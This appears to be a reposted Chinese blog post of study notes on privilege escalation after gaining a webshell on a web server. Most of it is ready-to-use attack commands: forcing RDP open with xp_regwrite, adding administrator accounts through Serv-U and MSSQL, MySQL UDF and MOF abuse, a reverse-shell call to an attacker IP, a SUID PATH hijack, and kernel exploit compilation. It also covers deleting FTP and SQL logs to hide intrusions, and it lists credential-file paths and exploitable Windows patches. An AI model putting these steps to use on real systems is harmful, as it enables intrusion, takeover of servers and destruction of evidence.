网络安全 (八 提权)

在不知道木马密码的情况下可以在后面写上?profile=a (不一定成功)
http://1.11.1.1:8000/2.asp?profile=a

Windnows
user (普通)
administrator(管理员)
system(控制)
三者不是完全包含,administrator一定包含user,system与另外两者有交集部分
Linux
user
root

提高执行的权限

针对网站测试过程,当测试某一网站时,通过webshell权限已夺得改服务器权限
wenshell所的权限不满足,所以要提权

通常脚本执行权限:
asp/php匿名提权

aspx user权限

jsp通常是系统权限

提权原因:
想拿下a网站,但是a网站防护太好,且同一服务器存在b网站,b存在漏洞,为了跨a网站,所以提权


查找3389 有的话直接创建一个新的用户进行登陆

强制开启3389:
1. 上传木马文件,getshell后菜刀连接,使用虚拟化界面输入命令:
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,‘SYSTEM\CurrentControlSet\Control\Terminal Sever’,‘fDenyTSConnections’,‘REG_DWORD’,0;–
该命令需要一定的权限,大部分时候开发者并不会禁用这部分权限,因此使用很方便

2. 打开记事本,编辑内容如下:
echo[Components]>c:\sql
echoTSEnable=on>>c:\sql
sysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\sql/q
编辑好后存为BAT 文件,上传至肉鸡,执行。
这里值得注意的是要确定winnt 是否在c 盘,如果在其他盘则需要改动。

关闭3389:
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,‘SYSTEM\CurrentControlSet\Control\Terminal Sever’,‘fDenyTSConnections’,‘REG_DWORD’,1;–

windows提权:
连上大马,然后大马内操作
第三方软件提权
ftp:
server-u
1. 有修改权限
检查是否有可写权限 修改server-u 默认安装目录下的servUDaemon.ini
增加用户
仿照配置文件中的格式,一步步添加
在密码步骤注意加盐
首先看看盐是什么
在MD5中夹着盐填写密码,进行转化
然后再填写密码时,同样要再前面填写盐
gw123—>fb289605d3e6ba84fecb32b0aa2f83cb
将这一串gwfb289605d3e6ba84fecb32b0aa2f83cb填写到密码处
连接ftp
执行命令
quote site exec net user cracer cracer.com/add 创建用户以及密码
quote site exec net localgroup adinistrators cracer /add 用户提到administrator权限

			2. 无修改权限
			只能暴力破解密码---md5

			3.溢出提权
			再大马的选项有提权 ,net user dkill 123 /add 设置好密码完事

			4.管理员密码被修改
			在创建用户后,如果密码被修改,且利用的是server-u提权,那么我们可以找到						servUAdmin.exe文件,进行下载
			随后再利用  代码审计中的c32,将.exe直接拖进来,以16进制的形式查看
			然后搜索时用ansi字符串搜索管理员的账号,就可以找到密码

		g6ftp: 
			下载管理配置文件,将administrator管理密码破解
			使用lcx端口转发(默认只允许本机连接)
			lcx.exe -tran 8027 127.0.0.1 8021
			使用客户端以管理员用户登录
			创建客户并设置权限和执行的批处理文件
			上传批处理
			以创建的普通用户登陆ftp
			执行命令 quote site x.bat
			x.bat 内容为添加系统用户 提权
		filezilla
		
	远程管理软件
	pcanywhere\radmin\vnc

溢出提权

启动项提权

利用pr提权
pr文件的话,要上传到垃圾站的目录/站点根目录,所以再大马中要找到目录位置,
c:\recycle\pr.exe
上传pr,进行提权,随后上传破解hash软件

数据库提权
mssql提权
安装组件
sa账号的获取,去查看config.asp,conn,asp等文件
开启3389
创建用户
提升权限
完成
MYSQL数据库提权
利用环境变量提权
寻找系统里可以操作的文件
执行命令
$ find / -perm -u=s -type f 2>/dev/null
利用file命令查看文件是否可执行
file msgmike (查找之后的文件)
执行文件
./msgmike
设置bash的$pash环境变量
新建cat,添加执行权限
touch cat
echo “/bin/sh” > cat
再次运行./msgmike命令时
./msgmike
然后执行export PATH=’.’
提权

	udf提权
		获取到对方的mysql数据库下的root账号,密码
		1.查看网站源码里面的数据库配置文件(inc,coon,config.sql,common,data)
		2.查看数据库安装路径下的user.myd(/data/mysql/)
		3.暴力破解mysql密码 破解3306端口入侵
	***************************************************************************************
		知道数据库用户名。密码
		利用testa.php大马
		利用uname -r 查询版本 32 64
		将权限提升---udf.txt查找对应的版本
		复制到mysql语句执行中去
		没有写入权限的话,提前进行设置 chmod 777 -R /usr/lib/mysql/plugin/
		然后利用导入的库文件创建函数
		create function sys_eval returns string soname "mysqludf.so";
		执行命令
		select sys_eval('whoami');
	*********************************************************************************
		数据库开外连
		命令执行
		Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
		然后mysql提权工具
		
	udf提权原理:
		通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd
		5.1以上的版本需要导到mysql安装目录lib\plugin\
		以下的版本导到c:\winnt\udf.dll  2000
			      c:\windows\udf.dll  2003


	mof提权(相当牛逼那种)
		1.上传mof.php 输入登录账号 密码,发送命令,提权

		2. 利用大马上传x.mof,并在大马中使用select 命令使得x.mof导出到正确的位置
		select load_file('c:/wmpub/nullevt.mof') into dumpfile 			'c:/windows/system32/wbem/mof/nullevt.mof'
		开启数据库外联
		Grant all privileges on *.* to 'root'@'%' identified by 'cc4789.com' with grant option;

	反弹端口提权:
		1. 利用mysql客户端工具连接mysql服务器,然后执行命令
		mysql.exe -h 172.16.10.11 -uroot -p
		Enter password:
		mysql > \. c:\mysql.txt
		mysql > select backshell("YourIP",2010);

删除cmd_shell组件
EXEC sp_configure ‘show advanced options’,1
GO
RECONFIGURE
GO
EXEC sp_configure ‘xp_cmdshell’,0
GO
RECONFIGURE
GO

linux提权:
uname -r 查看内核版本
然后权限提升 linuxEXP 找到对应的马
上传后,将马移动到tmp目录
cp /var/www/html/a.c /temp/a.c
linux提权—反弹端口连接自己
nc -lpvn 12345 然后点击开始连接
在自己的窗口下进行编译
gcc a.c 生成a.out
运行a.out ./a.out


在管理员组中有哪些用户?

net localgroup管理员

Get-LocalGroupMember管理员| ft Name,PrincipalSource

是否有连接到其他主机的网络连接?

netstat -ano

防火墙是否打开?如果是又是怎样配置的?

netsh防火墙显示状态

netsh防火墙显示配置

netsh advfirewall防火墙显示规则名称=全部

netsh advfirewall export“firewall.txt”

在IIS日志目录中有些什么文件?

C:\的Inetpub \日志\ LogFiles文件\ W3SVC1 \ u_ex [YYMMDD]的.log

C:\的Inetpub \日志\ LogFiles文件\ W3SVC2 \ u_ex [YYMMDD]的.log

C:\的Inetpub \日志\ LogFiles文件\ FTPSVC1 \ u_ex [YYMMDD]的.log

C:\的Inetpub \日志\ LogFiles文件\ FTPSVC2 \ u_ex [YYMMDD]的.log

是否安装了XAMPP,阿帕奇或PHP?任何有XAMPP,阿帕奇或PHP配置文件?

dir / s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Get-Childitem -Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

系统中是否存在任何的Apache网络日志?

dir / s access.log error.log

Get-Childitem -Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

系统中是否任何有趣的文件?可能在用户目录(桌面,文档等)?

dir / s * pass * == * vnc * == * .config * 2> nulGet-Childitem -Path C:\ Users \ -Include * password vnc 。config -File -Recurse -ErrorAction SilentlyContinue

处理服务器MSFTP日志:

在“C:\ WINNT \ system32 \ LogFiles \ MSFTPSVC1 \”下有ex011120.log / ex011121.log / ex011124.log三个文件,直接删除ex0111124.log不成功,显示“原文件…正在使用”。

当然可以直接删除“ex011120.log / ex011121.log”。然后用记事本打开“ex0111124.log”,删除里面的一些内容后,保存,覆盖退出,成功。

当停止“MSFTPSVC”服务后可直接删除“ex011124.log”。

MSSQL查询分析器连接记录清除:

MSSQL 2000位于注册表如下:

HKEY_CURRENT_USER \ Software \ Microsoft \ Microsoft SQL Server \ 80 \ Tools \ Client \ PrefServers

找到接接过的信息删除。

MSSQL 2005是在:

C:\ Documents and Settings \ Application Data \ Microsoft \ Microsoft SQL Server \ 90 \ Tools \ Shell \ mru.dat

各种网站的配置文件相对路径大全:

/config.php

…/…/config.php

…/config.php

…/…/…/config.php

/config.inc.php

./config.inc.php

…/…/config.inc.php

…/config.inc.php

…/…/…/config.inc.php

/conn.php

./conn.php

…/…/conn.php

…/conn.php

…/…/…/conn.php

/conn.asp

./conn.asp

…/…/conn.asp

…/conn.asp

…/…/…/conn.asp

/config.inc.php

./config.inc.php

…/…/config.inc.php

…/config.inc.php

…/…/…/config.inc.php

/config/config.php

…/…/config/config.php

…/config/config.php

…/…/…/config/config.php

/config/config.inc.php

./config/config.inc.php

…/…/config/config.inc.php

…/config/config.inc.php

…/…/…/config/config.inc.php

/config/conn.php

./config/conn.php

…/…/config/conn.php

…/config/conn.php

…/…/…/config/conn.php

/config/conn.asp

./config/conn.asp

…/…/config/conn.asp

…/config/conn.asp

…/…/…/config/conn.asp

/config/config.inc.php

./config/config.inc.php

…/…/config/config.inc.php

…/config/config.inc.php

…/…/…/config/config.inc.php

/data/config.php

…/…/data/config.php

…/data/config.php

…/…/…/data/config.php

/data/config.inc.php

./data/config.inc.php

…/…/data/config.inc.php

…/data/config.inc.php

…/…/…/data/config.inc.php

/data/conn.php

./data/conn.php

…/…/data/conn.php

…/data/conn.php

…/…/…/data/conn.php

/data/conn.asp

./data/conn.asp

…/…/data/conn.asp

…/data/conn.asp

…/…/…/data/conn.asp

/data/config.inc.php

./data/config.inc.php

…/…/data/config.inc.php

…/data/config.inc.php

…/…/…/data/config.inc.php

/include/config.php

…/…/include/config.php

…/include/config.php

…/…/…/include/config.php

/include/config.inc.php

./include/config.inc.php

…/…/include/config.inc.php

…/include/config.inc.php

…/…/…/include/config.inc.php

/include/conn.php

./include/conn.php

…/…/include/conn.php

…/include/conn.php

…/…/…/include/conn.php

/include/conn.asp

./include/conn.asp

…/…/include/conn.asp

…/include/conn.asp

…/…/…/include/conn.asp

/include/config.inc.php

./include/config.inc.php

…/…/include/config.inc.php

…/include/config.inc.php

…/…/…/include/config.inc.php

/inc/config.php

…/…/inc/config.php

…/inc/config.php

…/…/…/inc/config.php

/inc/config.inc.php

./inc/config.inc.php

…/…/inc/config.inc.php

…/inc/config.inc.php

…/…/…/inc/config.inc.php

/inc/conn.php

./inc/conn.php

…/…/inc/conn.php

…/inc/conn.php

…/…/…/inc/conn.php

/inc/conn.asp

./inc/conn.asp

…/…/inc/conn.asp

…/inc/conn.asp

…/…/…/inc/conn.asp

/inc/config.inc.php

./inc/config.inc.php

…/…/inc/config.inc.php

…/inc/config.inc.php

…/…/…/inc/config.inc.php

的index.php

./index.php

…/…/index.php

…/index.php

…/…/…/index.php

/index.asp

./index.asp

…/…/index.asp

…/index.asp

…/…/…/index.asp

大牛总结的窗口提权精通合集

漏洞列表

#Security Bulletin #KB #Description #Operating System

CVE-2017-0213 [Windows COM特权提升漏洞](Windows 10 / 8.1 / 7/2016 / 2010/2008)

MS17-010 [KB4013389] [Windows内核模式驱动程序](Windows 7/2008/2003 / XP)

MS16-135 [KB3199135] [Windows内核模式驱动程序](2016)

MS16-098 [KB3178466] [内核驱动程序](Win 8.1)

MS16-075 [KB3164038] [Hot Potato](2003/2008/7/8/2012)

MS16-032 [KB3143141] [二次登录处理](2008/7/8/10/2012)

MS16-016 [KB3136041] [WebDAV](2008 / Vista / 7)

MS15-097 [KB3089656] [远程执行代码](win8.1 / 2012)

MS15-076 [KB3067505] [RPC](2003/2008/7/8/2012)

MS15-077 [KB3077657] [ATM](XP / Vista / Win7 / Win8 / 2000/2003/2008 / 2012)

MS15-061 [KB3057839] [内核驱动程序](2003/2008/7/8/2012)

MS15-051 [KB3057191] [Windows内核模式驱动程序](2003/2008/7/8/2012)

MS15-010 [KB3036220] [内核驱动程序](2003/2008/7/8)

MS15-015 [KB3031432] [内核驱动程序](Win7 / 8 / 8.1 / 2012 / RT / 2012 R2 / 2008 R2)

MS15-001 [KB3023266] [内核驱动程序](2008/2012/7/8)

MS14-070 [KB2989935] [内核驱动程序](2003)

MS14-068 [KB3011780] [域名特权升级](2003/2008/2012/7/8)

MS14-058 [KB3000061] [Win32k.sys](2003/2008/2012/7/8)

MS14-040 [KB2975684] [AFD驱动程序](2003/2008/2012/7/8)

MS14-002 [KB2914368] [NDProxy](2003 / XP)

MS13-053 [KB2850851] [win32k.sys](XP / Vista / 2003/2008 / win 7)

MS13-046 [KB2840221] [dxgkrnl.sys](Vista / 2003/2008 / 2012/7)

MS13-005 [KB2778930] [内核模式驱动程序](2003/2008 / 2012 / win7 / 8)

MS12-042 [KB2972621] [服务总线](2008/2012 / win7)

MS12-020 [KB2671387] [RDP](2003/2008/7 / XP)

MS11-080 [KB2592799] [AFD.sys](2003 / XP)

MS11-062 [KB2566454] [NDISTAPI](2003 / XP)

MS11-046 [KB2503665] [AFD.sys](2003/2008/7 / XP)

MS11-011 [KB2393802] [内核驱动程序](2003/2008/7 / XP / Vista)

MS10-092 [KB2305420] [任务计划程序](2008/7)

MS10-065 [KB2267960] [FastCGI](IIS 5.1,6.0,7.0和7.5)

MS10-059 [KB982799] [ACL-Churraskito](2008/7 / Vista)

MS10-048 [KB2160329] [win32k.sys](XP SP2和SP3 / 2003 SP2 / Vista SP1和SP2 / 2008 Gold&SP2&R2 / Win7)

MS10-015 [KB977165] [KiTrap0D](2003/2008/7 / XP)

MS09-050 ??[KB975517] [远程执行代码](2008 / Vista)

MS09-020 [KB970483] [IIS 6.0](IIS 5.1和6.0)

MS09-012 [KB959454] [Chimichurri](Vista / win7 / 2008 / Vista)

MS08-068 [KB957097] [远程执行代码](2000 / XP)

MS08-067 [KB958644] [远程执行代码](Windows 2000 / XP / Server 2003 / Vista / Server 2008)

MS08-025 [KB941693] [Win32.sys](XP / 2003/2008 / Vista)

MS06-040 [KB921883] [远程执行代码](2003 / xp / 2000)

MS05-039 [KB899588] [PnP服务](Win 9X / ME / NT / 2000 / XP / 2003)

MS03-026 [KB823980] [RPC接口中的缓冲区溢出](/ NT / 2000 / XP / 2003)

项目下载地址; https://github.com/SecWiki/windows-kernel-exploits

发布了17 篇原创文章 · 获赞 2 · 访问量 3521

猜你喜欢

转载自blog.csdn.net/Aidang/article/details/97748746
今日推荐